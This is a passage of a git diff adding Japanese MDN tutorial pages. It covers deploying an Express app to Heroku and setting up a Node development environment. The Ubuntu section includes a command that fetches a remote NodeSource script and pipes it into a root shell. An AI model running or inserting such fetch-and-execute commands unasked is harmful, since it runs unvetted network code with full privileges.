+ +<p>The good news when you're starting out is that there are quite a few sites that provide computing environments for "free", albeit with some conditions. For example, <a href="https://www.heroku.com/">Heroku</a> provides a free but resource-limited <em>PaaS</em> environment "forever", while <a href="http://docs.aws.amazon.com/awsaccountbilling/latest/aboutv2/billing-free-tier.html">Amazon Web Services</a>, <a href="https://azure.microsoft.com/en-us/pricing/details/app-service/">Microsoft Azure</a>, and the open source option <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Installing_on_PWS_Cloud_Foundry">PWS/Cloud Foundry</a> provide free credit when you first join.</p> + +<p>Many providers also have a "basic" tier that provides more useful levels of computing power and fewer limitations. <a href="https://www.digitalocean.com/">Digital Ocean</a> is an example of a popular hosting provider that offers a relatively inexpensive basic computing tier (in the $5 per month lower range at time of writing).</p> + +<div class="note"> +<p><strong>Note:</strong> Remember that price is not the only selection criterion. If your website is successful, it may turn out that scalability is the most important consideration.</p> +</div> + +<h2 id="Getting_your_website_ready_to_publish">Getting your website ready to publish</h2> + +<p>The main things to think about when publishing your website are web security and performance. At the bare minimum, you will want to remove the stack traces that are included on error pages during development, tidy up your logging, and set the appropriate headers to avoid many common security threats.</p> + +<p>In the following subsections, we outline the most important changes that you should make to your app.</p> + +<div class="note"> +<p><strong>Tip:</strong> There are other useful tips in the Express docs — see <a href="https://expressjs.com/en/advanced/best-practice-performance.html">Production best practices: performance and reliability</a> and <a href="https://expressjs.com/en/advanced/best-practice-security.html">Production Best Practices: Security</a>.</p> +</div> + +<h3 id="Set_NODE_ENV_to_'production'">Set NODE_ENV to 'production'</h3> + +<p>We can remove stack traces in error pages by setting the <code>NODE_ENV</code> environment variable to <em>production</em> (it is set to '<em>development</em>' by default). In addition to generating less-verbose error messages, setting the variable to <em>production</em> caches view templates and CSS files generated from CSS extensions. Tests indicate that setting <code>NODE_ENV</code> to <em>production</em> can improve app performance by a factor of three!</p> + +<p>This change can be made either by using export or an environment file or using the OS initialization system. </p> + +<div class="note"> +<p><strong>Note:</strong> This is actually a change you make in your environment setup rather than your app, but important enough to note here! We'll show how this is set for our hosting example below. </p> +</div> + +<h3 id="Log_appropriately">Log appropriately</h3> + +<p>Logging calls can have an impact on a high-traffic website. In a production environment, you may need to log website activity (e.g. tracking traffic or logging API calls) but you should attempt to minimize the amount of logging added for debugging purposes.</p> + +<p>One way to minimize "debug" logging in production is to use a module like <a href="https://www.npmjs.com/package/debug">debug </a>that allows you to control what logging is performed by setting an environment variable. For example, the code fragment below shows how you might set up "author" logging. The debug variable is declared with the name 'author', and the prefix "author" will be automatically displayed for all logs from this object.</p> + +<pre class="brush: js"><strong>var debug = require('debug')('author');</strong> + +// Display Author update form on GET +exports.author_update_get = function(req, res, next) { + + req.sanitize('id').escape().trim(); + Author.findById(req.params.id, function(err, author) { + if (err) { +<strong> debug('update error:' + err);</strong> + return next(err); + } + //On success + res.render('author_form', { title: 'Update Author', author: author }); + }); + +};</pre> + +<p>You can then enable a particular set of logs by specifying them as a comma-separated list in the <code>DEBUG</code> environment variable. You can set the variables for displaying author and book logs as shown (wildcards are also supported).</p> + +<pre class="brush: bash">#Windows +set DEBUG=author,book + +#Linux +export DEBUG="author,book" +</pre> + +<div class="note"> +<p><strong>Challenge:</strong> Calls to <code>debug</code> can replace logging you might previously have done using <code>console.log()</code> or <code>console.error()</code>. Replace any <code>console.log()</code> calls in your code with logging via the <a href="https://www.npmjs.com/package/debug">debug </a>module. Turn the logging on and off in your development environment by setting the DEBUG variable and observe the impact this has on logging.</p> +</div> + +<p>If you need to log website activity you can use a logging library like <em>Winston</em> or <em>Bunyan</em>. For more information on this topic see: <a href="https://expressjs.com/en/advanced/best-practice-performance.html">Production best practices: performance and reliability</a>.</p> + +<h3 id="Use_gzipdeflate_compression_for_responses">Use gzip/deflate compression for responses</h3> + +<p>Web servers can often compress the HTTP response sent back to a client, significantly reducing the time taken to for the client to get and load the page. The compression method used will depend on what decompression methods the client says that it supports in the request (if no compression methods are supported the response will be sent uncompressed).</p> + +<p>You can add this to your site using <a href="https://www.npmjs.com/package/compression">compression</a> middleware. Install this to your project by running the following command at the root of the project.</p> + +<pre class="brush: bash">npm install compression</pre> + +<p>Open <strong>./app.js</strong> and require the compression library as shown. Add the compression library to the middleware chain with the <code>use()</code> method (this should appear before any routes that you want compressed — in this case, all of them!)</p> + +<pre class="brush: js">var catalogRouter = require('./routes/catalog'); //Import routes for "catalog" area of site +<strong>var compression = require('compression');</strong> + +// Create the Express application object +var app = express(); + +... + +<strong>app.use(compression()); //Compress all routes</strong> + +app.use(express.static(path.join(__dirname, 'public'))); + +app.use('/', indexRouter); +app.use('/users', usersRouter); +app.use('/catalog', catalogRouter); // Add catalog routes to middleware chain. + +... +</pre> + +<div class="note"> +<p><strong>Note</strong>: For a high-traffic website in production you wouldn't use this middleware. Instead, you would use a reverse proxy like <em>Nginx</em>.</p> +</div> + +<h3 id="Use_Helmet_to_protect_against_well_known_vulnerabilities">Use Helmet to protect against well known vulnerabilities</h3> + +<p><a href="https://www.npmjs.com/package/helmet">Helmet</a> is a middleware package that can help protect your app from some well-known web vulnerabilities by setting appropriate HTTP headers (see the <a href="https://helmetjs.github.io/docs/">docs</a> for more information on what headers it sets/vulnerabilities it protects against). </p> + +<p>Install this to your project by running the following command at the root of the project.</p> + +<pre class="brush: bash">npm install helmet +</pre> + +<p>Open <strong>./app.js</strong> and require the <em>helmet</em> library as shown. Then add the module to the middleware chain with the <code>use()</code> method.</p> + +<pre class="brush: js">var compression = require('compression'); +<strong>var helmet = require('helmet'); +</strong> +// Create the Express application object +var app = express(); + +<strong>app.use(helmet())</strong>; +...</pre> + +<div class="note"> +<p id="production-best-practices-performance-and-reliability"><strong>Note:</strong> The command above adds the <em>subset</em> of available headers that makes sense for most sites. You can add/disable specific headers as needed by following the instructions on <a href="https://www.npmjs.com/package/helmet">npm</a>.</p> +</div> + +<h2 id="Example_Installing_LocalLibrary_on_Heroku">Example: Installing LocalLibrary on Heroku</h2> + +<p>This section provides a practical demonstration of how to install <em>LocalLibrary</em> on the <a href="http://heroku.com">Heroku PaaS cloud</a>.</p> + +<h3 id="Why_Heroku">Why Heroku?</h3> + +<p>Heroku is one of the longest-running and popular cloud-based PaaS services. It originally supported only Ruby apps, but now can be used to host apps from many programming environments, including Node (and hence Express)!</p> + +<p>We are choosing to use Heroku for several reasons:</p> + +<ul> + <li>Heroku has a <a href="https://www.heroku.com/pricing">free tier</a> that is <em>really</em> free (albeit with some limitations).</li> + <li>As a PaaS, Heroku takes care of a lot of the web infrastructure for us. This makes it much easier to get started because you don't worry about servers, load balancers, reverse proxies, restarting your website on a crash, or any of the other web infrastructure that Heroku provides for us under the hood.</li> + <li>While it does have some limitations, these will not affect this particular application. For example: + <ul> + <li>Heroku provides only short-lived storage so user-uploaded files cannot safely be stored on Heroku itself.</li> + <li>The free tier will sleep an inactive web app if there are no requests within a half hour period. The site may then take several seconds to respond when it is woken up.</li> + <li>The free tier limits the time that your site is running to a certain amount of hours every month (not including the time that the site is "asleep"). This is fine for a low use/demonstration site, but will not be suitable if 100% uptime is required.</li> + <li>Other limitations are listed in <a href="https://devcenter.heroku.com/articles/limits">Limits</a> (Heroku docs).</li> + </ul> + </li> + <li>Mostly it just works, and if you end up loving it and want to upgrade, scaling your app is very easy.</li> +</ul> + +<p>While Heroku is perfect for hosting this demonstration it may not be perfect for your real website. Heroku makes things easy to set up and scale, at the cost of being less flexible, and potentially a lot more expensive once you get out of the free tier.</p> + +<h3 id="How_does_Heroku_work">How does Heroku work?</h3> + +<p>Heroku runs websites within one or more "<a href="https://devcenter.heroku.com/articles/dynos">Dynos</a>", which are isolated, virtualized Unix containers that provide the environment required to run an application. The dynos are completely isolated and have an <em>ephemeral</em> file system (a short-lived file system that is cleaned/emptied every time the dyno restarts). The only thing that dynos share by default are application <a href="https://devcenter.heroku.com/articles/config-vars">configuration variables</a>. Heroku internally uses a load balancer to distribute web traffic to all "web" dynos. Since nothing is shared between them, Heroku can scale an app horizontally by adding more dynos (though of course, you may also need to scale your database to accept additional connections).</p> + +<p>Because the file system is ephemeral you can't install the services required by your application directly (e.g. databases, queues, caching systems, storage, email services, etc). Instead, Heroku web applications use backing services provided as independent "add-ons" by Heroku or 3rd parties. Once attached to your web application, the add-on services are accessed in your web application via environment variables.</p> + +<p>In order to execute your application Heroku needs to be able to set up the appropriate environment and dependencies, and also understand how it is launched. For Node apps, all the information it needs is obtained from your <strong>package.json</strong> file.</p> + +<p>Developers interact with Heroku using a special client app/terminal, which is much like a Unix bash script. This allows you to upload code that is stored in a git repository, inspect the running processes, see logs, set configuration variables, and much more!</p> + +<p>In order to get our application to work on Heroku, we'll need to put our Express web application into a git repository and make some minor changes to the package.json. Once we've done that we can set up a Heroku account, get the Heroku client, and use it to install our website.</p> + +<p>That's all the overview you need in order to get started (see <a href="https://devcenter.heroku.com/articles/getting-started-with-nodejs">Getting Started on Heroku with Node.js</a> for a more comprehensive guide).</p> + +<h3 id="Creating_an_application_repository_in_Github">Creating an application repository in Github</h3> + +<p>Heroku is closely integrated with the <strong>git</strong> source code version control system, using it to upload/synchronize any changes you make to the live system. It does this by adding a new Heroku "remote" repository named <em>heroku</em> pointing to a repository for your source on the Heroku cloud. During development, you use git to store changes on your "master" repository. When you want to deploy your site, you sync your changes to the Heroku repository.</p> + +<div class="note"> +<p><strong>Note:</strong> If you're used to following good software development practices you are probably already using git or some other SCM system. If you already have a git repository, then you can skip this step.</p> +</div> + +<p>There are a lot of ways of to work with git, but one of the easiest is to first set up an account on <a href="https://github.com/">GitHub</a>, create the repository there, and then sync to it locally:</p> + +<ol> + <li>Visit <a href="https://github.com/">https://github.com/</a> and create an account.</li> + <li>Once you are logged in, click the <strong>+</strong> link in the top toolbar and select <strong>New repository</strong>.</li> + <li>Fill in all the fields on this form. While these are not compulsory, they are strongly recommended. + <ul> + <li>Enter a new repository name (e.g. <em>express-locallibrary-tutorial</em>), and description (e.g. "Local Library website written in Express (Node)".</li> + <li>Choose <strong>Node</strong> in the <em>Add .gitignore</em> selection list.</li> + <li>Choose your preferred license in the <em>Add license</em> selection list.</li> + <li>Check <strong>Initialize this repository with a README</strong>.</li> + </ul> + </li> + <li>Press <strong>Create repository</strong>.</li> + <li>Click the green "<strong>Clone or download</strong>" button on your new repo page.</li> + <li>Copy the URL value from the text field inside the dialog box that appears (it should be something like: <strong>https://github.com/<em><your_git_user_id></em>/express-locallibrary-tutorial.git</strong>).</li> +</ol> + +<p>Now the repository ("repo") is created we are going to want to clone it on our local computer:</p> + +<ol> + <li>Install <em>git</em> for your local computer (you can find versions for different platforms <a href="https://git-scm.com/downloads">here</a>).</li> + <li>Open a command prompt/terminal and clone your repository using the URL you copied above: + <pre class="brush: bash">git clone https://github.com/<strong><em><your_git_user_id></em></strong>/express-locallibrary-tutorial.git +</pre> + This will create the repository below the current point.</li> + <li>Navigate into the new repo. + <pre class="brush: bash">cd express-locallibrary-tutorial</pre> + </li> +</ol> + +<p>The final step is to copy in your application and then add the files to your repo using git:</p> + +<ol> + <li>Copy your Express application into this folder (excluding <strong>/node_modules</strong>, which contains dependency files that you should fetch from NPM as needed).</li> + <li>Open a command prompt/terminal and use the <code>add</code> command to add all files to git.</li> + <li> + <pre class="brush: bash">git add -A +</pre> + </li> + <li>Use the status command to check all files that you are about to add are correct (you want to include source files, not binaries, temporary files etc.). It should look a bit like the listing below. + <pre>> git status +On branch master +Your branch is up-to-date with 'origin/master'. +Changes to be committed: + (use "git reset HEAD <file>..." to unstage) + + new file: ...</pre> + </li> + <li>When you're satisfied commit the files to your local repository: + <pre class="brush: bash">git commit -m "First version of application moved into github"</pre> + </li> + <li>Then synchronize your local repository to the Github website, using the following: + <pre>git push origin master</pre> + </li> +</ol> + +<p>When this operation completes, you should be able to go back to the page on Github where you created your repo, refresh the page, and see that your whole application has now been uploaded. You can continue to update your repository as files change using this add/commit/push cycle.</p> + +<div class="note"> +<p><strong>Tip:</strong> This is a good point to make a backup of your "vanilla" project — while some of the changes we're going to be making in the following sections might be useful for deployment on any platform (or development) others might not.</p> + +<p>The <em>best</em> way to do this is to use <em>git</em> to manage your revisions. With <em>git</em> you can not only go back to a particularly old version, but you can maintain this in a separate "branch" from your production changes and cherry-pick any changes to move between production and development branches. <a href="https://help.github.com/articles/good-resources-for-learning-git-and-github/">Learning Git</a> is well worth the effort, but is beyond the scope of this topic.</p> + +<p>The <em>easiest</em> way to do this is to just copy your files into another location. Use whichever approach best matches your knowledge of git!</p> +</div> + +<h3 id="Update_the_app_for_Heroku">Update the app for Heroku</h3> + +<p>This section explains the changes you'll need to make to our <em>LocalLibrary</em> application to get it to work on Heroku.</p> + +<h4 id="Set_node_version">Set node version </h4> + +<p>The <strong>package.json</strong> contains everything needed to work out your application dependencies and what file should be launched to start your site. Heroku detects the presence of this file, and will use it to provision your app environment.</p> + +<p>The only useful information missing in our current <strong>package.json</strong> is the version of node. We can find the version of node we're using for development by entering the command:</p> + +<pre class="brush: bash">>node --version +v8.9.1</pre> + +<p>Open <strong>package.json</strong>, and add this information as an <strong>engines > node</strong> section as shown (using the version number for your system).</p> + +<pre class="brush: json">{ + "name": "express-locallibrary-tutorial", + "version": "0.0.0", +<strong> "engines": { + "node": "8.9.1" + },</strong> + "private": true, + ... +</pre> + +<h4 id="Database_configuration">Database configuration</h4> + +<p>So far in this tutorial, we've used a single database that is hard-coded into <strong>app.js</strong>. Normally we'd like to be able to have a different database for production and development, so next we'll modify the LocalLibrary website to get the database URI from the OS environment (if it has been defined), and otherwise use our development database.</p> + +<p>Open <strong>app.js</strong> and find the line that sets the MongoDB connection variable. It will look something like this:</p> + +<pre class="brush: js">var mongoDB = 'mongodb://your_user_id:your_password@ds119748.mlab.com:19748/local_library';</pre> + +<p>Replace the line with the following code that uses <code>process.env.MONGODB_URI</code> to get the connection string from an environment variable named <code>MONGODB_URI</code> if has been set (use your own database URL instead of the placeholder below.)</p> + +<pre class="brush: js">var mongoDB = <strong>process.env.MONGODB_URI</strong> || 'mongodb://your_user_id:your_password@ds119748.mlab.com:19748/local_library'; +</pre> + +<h4 id="Get_dependencies_and_re-test">Get dependencies and re-test</h4> + +<p>Before we proceed, let's test the site again and make sure it wasn't affected by any of our changes. </p> + +<p>First, we will need to fetch our dependencies (you will recall we didn't copy the <strong>node_modules</strong> folder into our git tree). You can do this by running the following command in your terminal at the root of the project:</p> + +<pre class="brush: bash">npm install +</pre> + +<p>Now run the site (see <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/routes#Testing_the_routes">Testing the routes</a> for the relevant commands) and check that the site still behaves as you expect.</p> + +<h4 id="Save_changes_to_Github">Save changes to Github</h4> + +<p>Next, let's save all our changes to Github. In the terminal (whilst inside our repository), enter the following commands:</p> + +<pre class="brush: bash">git add -A +git commit -m "Added files and changes required for deployment to heroku" +git push origin master</pre> + +<p>We should now be ready to start deploying <em>LocalLibrary</em> on Heroku.</p> + +<h3 id="Get_a_Heroku_account">Get a Heroku account</h3> + +<p>To start using Heroku you will first need to create an account (skip ahead to <a href="#Create_and_upload_the_website">Create and upload the website</a> if you've already got an account and installed the Heroku client):</p> + +<ul> + <li>Go to <a href="https://www.heroku.com/">www.heroku.com</a> and click the <strong>SIGN UP FOR FREE</strong> button.</li> + <li>Enter your details and then press <strong>CREATE FREE ACCOUNT</strong>. You'll be asked to check your account for a sign-up email.</li> + <li>Click the account activation link in the signup email. You'll be taken back to your account on the web browser.</li> + <li>Enter your password and click <strong>SET PASSWORD AND LOGIN</strong>.</li> + <li>You'll then be logged in and taken to the Heroku dashboard: <a href="https://dashboard.heroku.com/apps">https://dashboard.heroku.com/apps</a>.</li> +</ul> + +<h3 id="Install_the_client">Install the client</h3> + +<p>Download and install the Heroku client by following the <a href="https://devcenter.heroku.com/articles/getting-started-with-python#set-up">instructions on Heroku here</a>.</p> + +<p>After the client is installed you will be able to run commands. For example to get help on the client:</p> + +<pre class="brush: bash">heroku help +</pre> + +<h3 id="Create_and_upload_the_website">Create and upload the website</h3> + +<p>To create the app we run the "create" command in the root directory of our repository. This creates a git remote ("pointer to a remote repository") named <em>heroku</em> in our local git environment.</p> + +<pre class="brush: bash">heroku create</pre> + +<div class="note"> +<p><strong>Note:</strong> You can name the remote if you like by specifying a value after "create". If you don't then you'll get a random name. The name is used in the default URL.</p> +</div> + +<p>We can then push our app to the Heroku repository as shown below. This will upload the app, get all its dependencies, package it in a dyno, and start the site.</p> + +<pre class="brush: bash">git push heroku master</pre> + +<p>If we're lucky, the app is now "running" on the site. To open your browser and run the new website, use the command:</p> + +<pre class="brush: bash">heroku open</pre> + +<div class="note"> +<p><strong>Note</strong>: The site will be running using our development database. Create some books and other objects, and check out whether the site is behaving as you expect. In the next section, we'll set it to use our new database.</p> +</div> + +<h3 id="Setting_configuration_variables">Setting configuration variables</h3> + +<p>You will recall from a preceding section that we need to <a href="#NODE_ENV">set NODE_ENV to 'production'</a> in order to improve our performance and generate less-verbose error messages. We do this by entering the following command:</p> + +<pre class="brush: bash">>heroku config:set NODE_ENV='production' +Setting NODE_ENV and restarting limitless-tor-18923... done, v13 +NODE_ENV: production +</pre> + +<p>We should also use a separate database for production, setting its URI in the <strong>MONGODB_URI</strong> environment variable. You can set up a new database and database-user exactly <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose#Setting_up_the_MongoDB_database">as we did originally</a>, and get its URI. You can set the URI as shown (obviously, using your own URI!)</p> + +<pre class="brush: bash">>heroku config:set <strong>MONGODB_URI</strong>='mongodb://your_user:your_password@ds139278.mlab.com:39278/local_library_production' +Setting MONGODB_URI and restarting limitless-tor-18923... done, v13 +MONGODB_URI: mongodb://your_user:your_password@ds139278.mlab.com:39278/local_library_production +</pre> + +<p>You can inspect your configuration variables at any time using the <code>heroku config</code> command — try this now:</p> + +<pre class="brush: bash">>heroku config +=== limitless-tor-18923 Config Vars +MONGODB_URI: mongodb://your_user:your_password@ds139278.mlab.com:39278/local_library_production +NODE_ENV: production +</pre> + +<p>Heroku will restart your app when it updates the variables. If you check the home page now it should show zero values for your object counts, as the changes above mean that we're now using a new (empty) database.</p> + +<h3 id="Managing_addons">Managing addons</h3> + +<p>Heroku uses independent add-ons to provide backing services to apps — for example, email or database services. We don't use any addons in this website, but they are an important part of working with Heroku, so you may want to check out the topic <a href="https://devcenter.heroku.com/articles/managing-add-ons">Managing Add-ons</a> (Heroku docs).</p> + +<h3 id="Debugging">Debugging</h3> + +<p>The Heroku client provides a few tools for debugging:</p> + +<pre class="brush: bash">heroku logs # Show current logs +heroku logs --tail # Show current logs and keep updating with any new results +heroku ps #Display dyno status +</pre> + +<ul> +</ul> + +<h2 id="まとめ">まとめ</h2> + +<p>これで、本番環境での Express アプリケーションの設定に関するこのチュートリアル、および Express を使用した作業に関する一連のチュートリアルは終了です。それらが役に立つことを願っています。完全に完成したバージョンの <a href="https://github.com/mdn/express-locallibrary-tutorial">Github のソースコードをここで</a>チェックすることができます。</p> + +<h2 id="あわせて参照">あわせて参照</h2> + +<ul> + <li id="production-best-practices-performance-and-reliability"><a href="https://expressjs.com/en/advanced/best-practice-performance.html">Production best practices: performance and reliability</a> (Express docs)</li> + <li><a href="https://expressjs.com/en/advanced/best-practice-security.html">Production Best Practices: Security</a> (Express docs)</li> + <li>Heroku + <ul> + <li><a href="https://devcenter.heroku.com/articles/getting-started-with-nodejs">Getting Started on Heroku with Node.js</a> (Heroku docs)</li> + <li><a href="https://devcenter.heroku.com/articles/deploying-nodejs">Deploying Node.js Applications on Heroku</a> (Heroku docs)</li> + <li><a href="https://devcenter.heroku.com/articles/nodejs-support">Heroku Node.js Support</a> (Heroku docs)</li> + <li><a href="https://devcenter.heroku.com/articles/node-concurrency">Optimizing Node.js Application Concurrency</a> (Heroku docs)</li> + <li><a href="https://devcenter.heroku.com/articles/how-heroku-works">How Heroku works</a> (Heroku docs)</li> + <li><a href="https://devcenter.heroku.com/articles/dynos">Dynos and the Dyno Manager</a> (Heroku docs)</li> + <li><a href="https://devcenter.heroku.com/articles/config-vars">Configuration and Config Vars</a> (Heroku docs)</li> + <li><a href="https://devcenter.heroku.com/articles/limits">Limits</a> (Heroku docs)</li> + </ul> + </li> + <li>Digital Ocean + <ul> + <li><a href="https://www.digitalocean.com/community/tutorials?q=express">Express</a> tutorials</li> + <li><a href="https://www.digitalocean.com/community/tutorials?q=node.js">Node.js</a> tutorials </li> + </ul> + </li> +</ul> + +<p>{{PreviousMenu("Learn/Server-side/Express_Nodejs/forms", "Learn/Server-side/Express_Nodejs")}}</p> + +<h2 id="このモジュール">このモジュール</h2> + +<ul> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node のイントロダクション</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/development_environment">Node 開発環境の設定</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express チュートリアル: 地域図書館の Web サイト</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express チュートリアル Part 2: スケルトン Web サイトの作成</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/mongoose">Express チュートリアル Part 3: データベースを使う (Mongoose を使用)</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/routes">Express チュートリアル Part 4: ルートとコントローラ</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express チュートリアル Part 5: ライブラリデータの表示</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/forms">Express チュートリアル Part 6: フォームの操作</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/deployment">Express チュートリアル Part 7: プロダクションへのデプロイ</a></li> +</ul> diff --git a/files/ja/learn/server-side/express_nodejs/development_environment/index.html b/files/ja/learn/server-side/express_nodejs/development_environment/index.html new file mode 100644 index 0000000000..7bfa26bb88 --- /dev/null +++ b/files/ja/learn/server-side/express_nodejs/development_environment/index.html @@ -0,0 +1,410 @@ +--- +title: Node 開発環境の設定 +slug: Learn/Server-side/Express_Nodejs/development_environment +tags: + - CodingScripting + - Express + - Intro + - Learn + - Node + - nodejs + - npm + - server-side + - イントロダクション + - サーバサイド + - 初心者 + - 学習 + - 開発環境 +translation_of: Learn/Server-side/Express_Nodejs/development_environment +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Introduction", "Learn/Server-side/Express_Nodejs/Tutorial_local_library_website", "Learn/Server-side/Express_Nodejs")}}</div> + +<p class="summary">Express の目的が理解できたので、Windows、Linux (Ubuntu)、および macOS 上で Node/Express 開発環境をセットアップしてテストする方法を説明します。どのような一般的な OS を使用していても、この記事では Express アプリケーションの開発を開始するために必要なものを提供します。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>端末/コマンドラインを開く方法を知っている。開発用コンピューターの OS にソフトウェアパッケージをインストールする方法を知っている。</td> + </tr> + <tr> + <th scope="row">目標:</th> + <td>コンピューター上に Express (X.XX) 用の開発環境をセットアップします。</td> + </tr> + </tbody> +</table> + +<h2 id="Express_開発環境概要">Express 開発環境概要</h2> + +<p>Node と Express のおかげでウェブアプリケーションの開発を始めるためにコンピューターをセットアップすることが非常に簡単になります。このセクションでは必要なツールの概要、Ubuntu、macOS、および Windows に Node (および Express) をインストールするための最も簡単な方法について説明し、インストールをテストする方法を示します。</p> + +<h3 id="Express_開発環境とは何か">Express 開発環境とは何か?</h3> + +<p><em>Express</em> 開発環境には <em>Nodejs</em>、<em>NPM</em> パッケージマネージャー、および (オプションで) ローカルコンピューターに <em>Express Application Generator</em> がインストールされています。</p> + +<p><em>Node</em> と <em>NPM</em> パッケージマネージャーは、準備されたバイナリパッケージ、インストーラー、オペレーティングシステムのパッケージマネージャー、またはソースから一緒にインストールされます (次のセクションを参照)。 <em>Express</em> は、<em>NPM</em> によって、個々の <em>Express</em> ウェブアプリケーションの依存関係として (テンプレートエンジン、データベースドライバー、認証ミドルウェア、静的ファイルを提供するためのミドルウェアなどの他のライブラリと共に) インストールされます。</p> + +<p><em>NPM</em> は <a href="https://developer.mozilla.org/ja/docs/Glossary/MVC">MVC パターン</a>に従ったスケルトンの <em>Express</em> ウェブアプリケーションを作成するための便利なツールである <em>Express Application Generator</em>を (グローバルに) インストールするためにも使用できます。Express を使用するアプリを作成したり、同じアーキテクチャ上のレイアウトや依存関係を持つ Express アプリを構築したりするためにこのツールを使用する必要はないため、アプリケーションジェネレーターはオプションです。ただし、使い始めるのがはるかに簡単になり、モジュール式のアプリケーション構造が促進されるため、これを使用します。</p> + +<div class="note"> +<p><strong>メモ:</strong> 他のウェブフレームワークとは異なり、開発環境には独立した開発用の ウェブサーバーは含まれていません。<em>Node/Express</em> では、ウェブアプリケーションが独自のウェブサーバーを作成して実行します。</p> +</div> + +<p><a href="/ja/docs/Learn/Common_questions/Available_text_editors">テキストエディタ</a>やコード編集用の IDE、コードの異なるバージョンを安全に管理するための <a href="https://git-scm.com/">Git</a> などのソース管理マネジメントツールなど、一般的な開発環境の一部である他の周辺ツールもあります。これらの種類のツール (特にテキストエディタ) が既にインストールされていると仮定しています。</p> + +<h3 id="どのオペレーティングシステムがサポートされていますか？">どのオペレーティングシステムがサポートされていますか？</h3> + +<p><em>Node </em>は Windows、macOS、Linux の多くの「フレーバー」、Docker などで実行できます (nodejs の<a href="https://nodejs.org/ja/download/">ダウンロード</a>ページに完全なリストがあります)。ほとんどのパーソナルコンピューターは開発中に Node を実行するのに必要な性能を持っているはずです。<em>Express</em> は <em>Node</em> 環境で実行されるため、<em>Node</em> を実行する任意のプラットフォームで実行できます。</p> + +<p>この記事では Windows、macOS、および Ubuntu Linux のセットアップ手順を説明します。</p> + +<h3 id="どのバージョンの_NodeExpress_を使用すべきですか？">どのバージョンの Node/Express を使用すべきですか？</h3> + +<p>たくさんの <a href="https://nodejs.org/ja/blog/release/">Node のリリース</a>があります - 新しいリリースにはバグ修正、ECMAScript (JavaScript) 標準のより最新のバージョンのサポート、そして Node API の改良が含まれています。</p> + +<p>一般的には最新の <em>LTS </em>(長期サポート) リリースを使用するべきです。比較的最新の機能を持ちながら (そして現在も積極的にメンテナンスされています)、"最新の" リリースより安定しているからです。LTS バージョンに存在しない機能が必要な場合は、<em>最新版</em>リリースを使用してください。</p> + +<p><em>Express </em>は常に最新のバージョンを使うべきです。</p> + +<h3 id="データベースやその他の依存関係についてはどうですか？">データベースやその他の依存関係についてはどうですか？</h3> + +<p>データベースドライバー、テンプレートエンジン、認証エンジンなどのその他の依存関係はアプリケーションの一部であり、NPM パッケージマネージャーを使用してアプリケーション環境にインポートされます。それらについては、後のアプリ固有の記事で説明します。</p> + +<h2 id="Node_のインストール">Node のインストール</h2> + +<p><em>Express </em>を使用するには、まず <em>Nodejs </em>と <a href="https://docs.npmjs.com/">Node Package Manager (NPM)</a> をオペレーティングシステムにインストールする必要があります。以下のセクションでは Ubuntu Linux 18.04、macOS、および Windows 10 に Long Term Supported (LTS) バージョンの Nodejs をインストールする最も簡単な方法について説明します。</p> + +<div class="note"> +<p><strong>Tip:</strong> 以下のセクションは、ターゲット OS プラットフォームに <em>Node </em>と <em>NPM </em>をインストールする最も簡単な方法を示しています。他の OS を使用している場合、または現在のプラットフォームで他の方法を使用したい場合は、<a href="https://nodejs.org/ja/download/package-manager/">パッケージマネージャーによる Node.js のインストール</a> (nodejs.org) を参照してください。</p> +</div> + +<h3 id="macOS_および_Windows">macOS および Windows</h3> + +<p>Windows と macOS への <em>Node </em>と <em>NPM </em>のインストールは、提供されているインストーラーを使用することができるため、簡単です。</p> + +<ol> + <li>必要なインストーラーをダウンロードします + <ol> + <li><a href="https://nodejs.org/ja/">https://nodejs.org/ja/</a> に進みます</li> + <li>"ほとんどのユーザーに推奨" である LTS ビルドをダウンロードするためのボタンを選択してください。</li> + </ol> + </li> + <li>ダウンロードしたファイルをダブルクリックし、インストールの指示に従って Node をインストールします。</li> +</ol> + +<h3 id="Ubuntu_18.04">Ubuntu 18.04</h3> + +<p>Node 10.x の最新の LTS バージョンをインストールする最も簡単な方法は、<a href="https://nodejs.org/en/download/package-manager/#debian-and-ubuntu-based-linux-distributions">パッケージマネージャー</a>を使ってそれを Ubuntu <em>バイナリ配布</em>リポジトリーから入手することです。これはあなたの端末で以下の2つのコマンドを実行することによって非常に簡単に行うことができます。</p> + +<pre class="brush: bash"><code>curl -sL https://deb.nodesource.com/setup_10.x | sudo -E bash - +sudo apt-get install -y nodejs</code> +</pre> + +<div class="warning"> +<p><strong>警告:</strong> それらは非常に古いバージョンの Node を含んでいるので、通常の Ubuntu リポジトリーから直接インストールしないでください。</p> +</div> + +<ol> +</ol> + +<h3 id="Nodejs_および_NPM_インストールのテスト">Nodejs および NPM インストールのテスト</h3> + +<p>Node がインストールされていることをテストする最も簡単な方法は、ターミナル/コマンドプロンプトで "version" コマンドを実行し、バージョン文字列が返されることを確認することです。</p> + +<pre class="brush: bash">>node -v +v10.16.0</pre> + +<p><em>Nodejs </em>パッケージマネージャー <em>NPM</em> もインストールされているはずで、同じ方法でテストできます。</p> + +<pre class="brush: bash">>npm -v +6.9.0</pre> + +<p>もう少し刺激的なテストとして、ブラウザーで正しい URL にアクセスしたときにブラウザーに「Hello World」を単純に出力する、非常に基本的な "純粋な Node" サーバーを作成しましょう。</p> + +<ol> + <li>次のテキストを <strong>hellonode.js</strong> というファイルにコピーします。これは純粋な Node 関数 (Express 